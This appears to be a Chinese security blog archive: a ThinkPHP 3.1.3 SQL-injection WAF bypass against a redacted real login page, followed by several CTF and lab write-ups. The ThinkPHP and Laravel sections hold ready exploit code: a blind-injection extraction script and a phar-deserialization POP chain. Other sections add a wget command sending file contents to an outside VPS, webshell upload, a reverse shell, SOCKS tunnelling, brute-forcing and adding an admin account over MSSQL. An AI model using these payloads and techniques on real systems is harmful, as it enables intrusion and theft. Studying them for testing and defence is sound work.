thinkphp3.1.3 sql注入 bypass

thinkphp3.1.3 bypass sql注入

这是某次众测发现的漏洞,开始发现是thinkphp3.1.3框架,尝试了下将参数变成数组形式,返回sql报错,之后就尝试绕过waf。

url:http://**/console/

登陆处存在sql注入

存在漏洞的url:http://**/console/Admin/Index/Login.shtml

1、account参数存在sql注入,通过#a%0a可bypass waf 如下语句可造成10秒延迟,验证注入

account[]=exp&account[1]=))#a%0aunion(#a%0aselect#a%0a(#a%0aselect#a%0asleep#a%0a(10))#a%0afrom#a%0a(select#a%0asleep#a%0a(10))a)#

2、编写脚本获取数据库名:

import requests
import time

u = "http://**/console/Admin/Index/Login.shtml"

strs = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
strs = "abcdefghijklmnopqrstuvwxyz0123456789_"

headers = {
	"Cookie":"PHPSESSID=xxx"
}

sess = requests.session();
sess.headers=headers

xixi =""

def check(i,s,times=1):
	t1 = time.time()
	data = {
		"account[]":"exp",
		"account[1]":"))union#a\n(select#a\n(1)from#a\n(select if#a\n(lower((mid((database()),"+str(i)+",1)))='"+s+"',sleep#a\n(4),0))a)#",
		"password[]":"6a",
		"verify":"6677",
	}
	print(s)
	r = sess.post(u,data=data,proxies={"http":"http://127.0.0.1:8080/"})
	t = time.time()-t1
	if t>4:
		if times==1:
			return check(i,s,times+1)
		return True
	return False

for i in range(len(xixi)+1,50):
	for s in strs:
		if check(i,s)==True:
			xixi=xixi+s
			print(xixi)

观安CTF 2021 WriteUp

WEB

Baby Calc

通过测试发现该环境为python3沙盒逃逸 通过网上公开的POC发现存在代码执行,但是无法回显 尝试反弹SHELL均失败 发现系统不存在curl命令,但存在wget通过wget命令携带回显带出到vps

如下图使用wget,把命令包含在``中在使用base64带到vps中 1

expr=__import__("os").__getattribute__("metsys"[::-1])("wget%20http://49.234.223.23:1234/1.txt?data=`cat%20/flag_is_here|grep%20flag|base64`")

vps监听: 2

Baby WEB

题目提供了源代码,查看incloud.php文件,发现57行存在file_put_contents函数,且password未做限制。通过构造poc使password造成任意文件读取漏洞

-w1134 POC:1|../../../../../../../../flag|

注册任意用户名,密码为POC,登陆密码为1。
登陆后返回flag

-w552

Misc

老电脑的内存

经典的内存取证题目,通过imageinfo来获取该内存镜像的摘要信息 -w966 查看缓存在内存中的注册表: -w996 获取 SAM 表中的用户: -w1005 查看内存中系统的密码: -w969 CMD5解密 -w909 通过filescan查找ctf用户下的文件 发现1.png

volatility -f Windows\ 7-c0e05742.vmem --profile=Win7SP1x86_23418 filescan | grep ctf

-w1002 将1.png dump下来,查看文件。与密码结合获得flag -w915 -w997 ##被加密的wifi 通过分析数据包发现key为88888888 -w528 通过airdecap-ng命令输入密码解密数据包 -w695 在已解密的数据包中找到flag -w974

release

拿到一张图片,首先使用binwalk分离文件,没有发现有用信息 -w696 通过winhex修改文件高度 -w813 得到一半flag -w805 翻到文件底部发现很多20和09,想到通过二进制生成二维码,将20修改为0,09改为1 -w854 使用脚本转换为图片,得到二维码 -w826 扫描得到flag

2021年虎符线下赛WEB

tinypng

题目提供了源代码,通过php artisan 命令,可以看到是Laravel 8.15框架 首先查看路由信息

先查看一下fileupload路由,可以发现文件上传时对内容进行了过滤,且只允许上传png

接着我们看image路由,进入ImageController$source可控接着判断是否为png结尾,如果为png结尾则传给imgcompress类。 进入imgcompress类,$this->src为我们传入的$source 接着又传递给compressImg类,调用了openImg方法

$source传递给了getimagesizegetimagesize可以触发phar反序列化

现在只需要绕过文件上传内容检测即可,我们可以通过gzip的方式绕过。 从网上找一个Laravel 8的公开的反序列化POP链漏洞即可,如下给出我使用的exp。

namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }

    class BroadcastEvent {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver){
            $this->queueResolver = $queueResolver;
        }
    }
}


namespace {
    $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
    $b = new Illuminate\Bus\Dispatcher('system');
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
    #print(urlencode(serialize($a)));
    @unlink("phar.phar");
    $phar=new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub('GIF89a'."__HALT_COMPILER();");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
}
 

通过如上exp生成phar文件,使用gzip打包修改为png后缀

JEB_Debug_Encrypt

JEB 动态调试 加密

工具

JEB3

BurpSuite

Genymotion

操作

先准备一个模拟器或安卓手机,配置好BurpSuite代理,可以抓取到如下数据包,Request和Response都已加密。

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled.png

用Jeb3打开Apk,进入Bytecode菜单,点击下方的字符串,搜索dataStr双击进入。(为啥要搜索它? 因为它在提交数据中是个协议头, 添加这些参数的时候想必都会在一个代码块, 所以加密函数也可能在附近。)

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled%201.png

进入后我们可以看到smali代码,在可疑的地方通过Ctrl+b可以下断点进行调试。

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled%202.png

模拟器内需要先打开APP,然后点击上方虫子按钮,可以看到如下图所示,点击附上。

注意: 如果附加和调试对话框中没有模拟器的话, 你需要将模拟器目录下的adb.exe路径添加进系统环境变量path中, 如果已经添加却无法搜索到, 打开任务管理器结束adb.exe进程, 重启模拟器应该就可以了

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled%203.png

在模拟器内点击登陆后,JEB模拟器右上方VM/局部变量会增加几个值,但是我们无法直接看懂。

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled%204.png

我们需要修改Type类型,从int改为string,修改后我们可以看到变量当前处在内存中的值,F6可以进行单步调试,局部变量的值也会随之改变。

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled%205.png

我们已经了解了如何进行断点调试,通过分析java代码看下整个的加密过程

dataStr是我们的加密字符串,先是调用了getEncodeJsonStr,双击进入看一下

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled%206.png

arg6是我们传入的值,我们设置断点看一下

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled%207.png

如下图可以看到v6是我们传入的数据进行了json转换,那么我们只要跟着v6走就能找到加密过程。

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled%208.png

我们继续往下,v6传入了encodeMesJsonByPassword中,传入了4个值分别为Token,requestAesKey,v6,TERMINAL_TYPE

如下图Token是#@!1234567890!@#,requestAesKey是1234567890123456,v6是json格式的明文

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled%209.png

TERMINAL_TYPE还不知道我们双击进去,是afAndriod

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled%2010.png

几个变量都知道了那我们双击进入encodeMesJsonByPassword函数,可以看到v2是一个随机的AesSecretKey,将等于过滤为空,先不管他。

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled%2011.png

如下图signature=md5(terminalType+token+timestamp),terminalType=afAndriod、token=#@!1234567890!@#、timestamp为一个随机值,暂时无法构造。

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled%2012.png

继续往下看arg6,将&timestamp=xxx+&signature=xxx进行了一次base64,和上面的arg6一起进入encryptPinfo函数。上面的arg6为requestAesKey=1234567890123456

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled%2013.png

接着进入encryptPinfo函数,arg3=base64(&timestamp=xxx+&signature=xxx),arg4=1234567890123456,看下加密发现是AES/CBC/PKCS5Padding加密。

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled%2014.png

有了KEY,我们需要找到IV,点击进入IsIvParameter_Pinfo,如下图Iv值为0123456789abcdef

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled%2015.png

有了IV和KEY,还有加密算法我们需要对加密字符串进行解密,通过在线AES解密即可得到。

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled%2016.png

在进行一次base64,获得明文

https://cdn.jsdelivr.net/gh/H1dery/h1dery/uPic/Untitled%2017.png

CTF内网渗透题

记一次CTF内网渗透,据说是从护网复现过来的。

这是第一个flag。。。 a.md.png 既然我们知道这是wordpress正常套路那我们通过wpscan扫描一下


如下图发现存在xmlrpc.php,根据经验这个php存在用户密码爆破,那我们尝试一下 参考:Wordpress xmlrpc.php -common vulnerabilites & how to exploit them QQ20191012000758.png

通过文章发布的地方知道存在一个power_admin的用户 SWYT13G1LF0YTM8V3M9A.png 通过xmlrpc.php验证一下 HFT3U203JYN_0GXU0X7.md.png 不知道为什么是不是我个人问题输入正确账号密码后没有直接给我跳转到wp-admin/index.php页面还是在原来页面。我只能通过替换cookie后直接访问。 NC85I4XP14RYQZOMYHK.md.png 在媒体库内直接上传冰蝎一句话后访问正常操作 9219XMTIHPMKF937Y.png 之后通过冰蝎配合msf反弹shell 1E42VR__1LT_7UMYS6E.png

内网穿透我比较常用的手法是通过ew配合proxychains 如何通过EW做Socks5代理进行内网渗透 - 知乎 ew for linux下载地址:ew


首先在公网的vps上通过ew监听1080和1024 ./ew_for_linux64 -s rcsocks -l 1080 -e 1024 & 之后通过msf把ew客户端上传到靶机上

meterpreter > upload /root/ew/ew_for_linux64 /tmp/
[*] uploading  : /root/ew/ew_for_linux64 -> /tmp/
[*] uploaded   : /root/ew/ew_for_linux64 -> /tmp//ew_for_linux64
meterpreter > 
meterpreter > shell
Process 20657 created.
Channel 0 created.
cd /tmp
chmod 777 ew_for_linux64
./ew_for_linux64 -s rssocks -d 118.126.66.150 -e 1024

在配置一下本地kali的proxychains 编辑/etc/proxychains.conf,在最下面一行修改为公网vps的地址和端口 K5Y013PSU5M83UBVBXPV.png 正确配置后就可愉快的探索内网了,如下图通过proxychains nmap -sT 192.168.1.2 -Pn扫描1.2主机的端口,这里我就不扫描内网了可以通过msf的模块扫描,我这里直接通过webshell尝试ping邻居的IP来获取主机(注意icmp协议是无法通过proxychains传递的)。 3ZNZLFWSSM47GFEU2O.png 发现存在1433端口通过hydra爆破密码,我前面已经爆破过了所以知道密码是123456演示一下,hydra命令我就不解释了看下help文档就会了。 0W970XQWF9T7WQWXJGN2E.md.png 通过proxychains msfconsole使用use auxiliary/admin/mssql/mssql_exec模块执行命令 QQ20191012010458.png 添加账户设置管理员,开启3389

2019神盾杯

首届“神盾杯”上海市网络安全竞赛,去年的比赛。

0x00 babyJS

操作内容:

查看源码 找不到被调用的CheckLogin函数

/img/19shendun/image1.png

看到script中有用到unespaceescape等函数 用于编码字符串

eval传参改为alert 显示为弹窗

/img/19shendun/image2.png

发现check函数 并将flag与用户输入做比较 得到flag

/img/19shendun/image3.png

FLAG值:

flag{a5a5f402f6dc62acd3e848900a17513f}

0x01 crypto_easy_1

操作内容:

下载文件

/img/19shendun/image4.png

发现3行类似的数据 并且长度一致。

:左边的长度为42 右边的长度为56 ,猜测右边被base64编码过 进行解码 比较长度

/img/19shendun/image5.png

长度一致 为42

异或运算一下 可以得到Key随后将key代入 与base64解码后的密文异或比较 得到flag

解密脚本如下:

import base64
x = 'v6"wo5UIP9c4IdCk1o6qZhhB5DKZhVBwBzONl1JRIz:TwB2RyZYBCEVbjBjID17UkUeeDAwPBh1dg86AyAgcSQ4QygYGnAuJQYw'
y = 'zjS0ubQE2hw29FL2qs61ZNOVyFaf6IAjUZ7X8ijuVg:Q1wHADwPAC13PyRlUB90CwUCeHAwGj9hOg0QP34/cjkvY1AOTigOAhkt'
z = 'pJryZpVUNpSFi06WlKGkS0Uka6zw1sNCX"h2urQoyg:SXwmSRMdBz0LJwARAGkObhg6CSo5ZCVcIn0LLnkFfRAiGw9kAzM1GDYt'
a, b = x.split(':')
c, d = y.split(':')
e, f = z.split(':')
b = base64.b64decode(b)
d = base64.b64decode(d)
f = base64.b64decode(f)
g = base64.b64decode('X1o1VzIPaVgjbmNvCnQAC0ZHY3BbMUkaeylDYWVOCzZDXwJjR3hTFiw3')
flag = ''
for  i in range(42):
    t = ord(a[i]) ^ ord(b[i])
    flag += chr(ord(g[i]) ^ t)
print(flag)

FLAG值:

jsEncrypter 加密

burp 爆破 JS加密

首先右键登录按钮属性查看html源代码,发现id=‘rsa’

/img/burpjs/Untitled.png

ctrl+shift+f 查找rsa描点,发现调用了strEnr

/img/burpjs/Untitled%201.png

继续查找strEnr,并进入函数

/img/burpjs/Untitled%202.png

对加密函数添加断点进行判断,发现123123账号密码进入了此处,且3个key分别为1,2,3。

/img/burpjs/Untitled%203.png

我们直接控制台调用,尝试加密解密

/img/burpjs/Untitled%204.png

保存des.js到本地

/img/burpjs/Untitled%205.png

既然找到了加密解密函数现在就是通过burp调用函数使其加解密,修改phantomjs_server.js

/img/burpjs/Untitled%206.png

载入server.js

/img/burpjs/Untitled%207.png

burp连接server端口,test,我们现在已经可以成功加密了

/img/burpjs/Untitled%208.png

配置burp intruder,添加变量

/img/burpjs/Untitled%209.png

选择Custom ,1为用户

/img/burpjs/Untitled%2010.png

2为密码

/img/burpjs/Untitled%2011.png

添加payload加密

/img/burpjs/Untitled%2012.png

start attack,成功爆破

/img/burpjs/Untitled%2013.png

尝试解密下加密字符串,成功

/img/burpjs/Untitled%2014.png

豌豆杯入学CTF


1.题目:小可爱 第一步肯定是绕过本地回环地址 CC25B038-F2D2-4F85-93F7-F51924B8DAB8.png 一开始想到的是x-forward-for等告诉服务器我的地址但发现没有绕过 看题目题目是说来源地址想到了referer成功绕过 BC410D27-3BE1-40E5-ABF5-777F7144F502.png AEA1A04B-27BA-4393-953B-75D948C95027.png 这里没啥思路只能爆破 B9E617B3-EF26-477B-B78C-534C490FB3C4.png 密码为orange 访问到另外一个页面 然后登录。 发现是一张迪丽热巴的图片 这个主管很喜欢迪丽热巴啊!! 122FC809-D249-4228-9EB5-1E7F101BB7C1.png ADBC80E5-9B6D-4483-B1D4-286FE4B9E3F2.png 将图片下载下来,用binwalk查看下发现有压缩包!foremost下得到压缩包发现有密码 70BBCD6F-2D2E-4D93-8F11-80D576A5CB54.png DABA844F-3716-4889-96CA-04A7E6137C96.png 这个地方解了很久发现使用Dilraba的md5。。。。 F0312D7E-FC35-4DE9-86AF-D5A0F5796C97.png 得到一张图片再一次foremost得到一个压缩包成功拿到flag C065BA1C-B8B1-4157-9E8A-D6BD23ED6440.png 2.题目:单身二十年 EA018BA0-F2BB-4204-9784-8E3585F3511B.png

<?php 

header("Content-type:text/html;charset=utf-8"); 
show_source(__FILE__); 
if($_COOKIE['token']=='5D41402ABC4B2A76B9719D911017C592'){ 
    $file    =    'dump/'.md5(base64_encode(mt_rand(1,100))).'.txt'; 
    file_put_contents($file,file_get_contents('327A6C4304AD5938EAF0EFB6CC3E53DC.php')); 
    sleep(10); 
    unlink($file); 
}else{ 
    header('Location: index.php'); 
} 

setcookie("token"); 

?>

看懂源码发现访问页面会睡眠十秒他会把flag写入到一个1到100随机数字经过base64,md5的txt文件里。 一种是用burp直接get到这里我就不演示了,我是直接写的python,访问下页面执行脚本就行了。 9BB9177B-2227-4784-A0BB-B029ED948AF3.png

import base64
import hashlib
import requests
for i in range(1,101):
	headers = {'Content-type':'text/html;charset=utf-8'}
	encodestr = base64.b64encode(str(i).encode('utf-8'))
	cookies = {'token':'5D41402ABC4B2A76B9719D911017C592'}
	#print(encodestr)
	m = hashlib.md5()
	m.update(encodestr)
	#print(m.hexdigest())
	a = m.hexdigest()
	url = 'http://106.14.145.133:8081/web10/dump/'+a+'.txt'
	#print(url)
	url_get = requests.get(url,headers=headers,cookies=cookies,timeout=2)
	#print(url_get.headers)
	#print(url_get.cookies)
	if url_get.status_code == 200:
		print(url_get.text)

3.题目:初心不改 1975DE5B-D07B-4569-B8D0-E7171F2A034C.png 访问页面发现是一个thinkphp5.0 一猜就是sql注入 一开始以为是构造一个注入然后load_file到flag后来发现想多了,直接通过payload拿到mysql账号密码 /index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1 BA7D4195-9527-4B06-A1D8-28ABF453FE46.png 主页查看源码发现有一个phpmyadmin,登陆后成功拿到flag 73F165EC-C956-40AD-9106-ADE323691340.png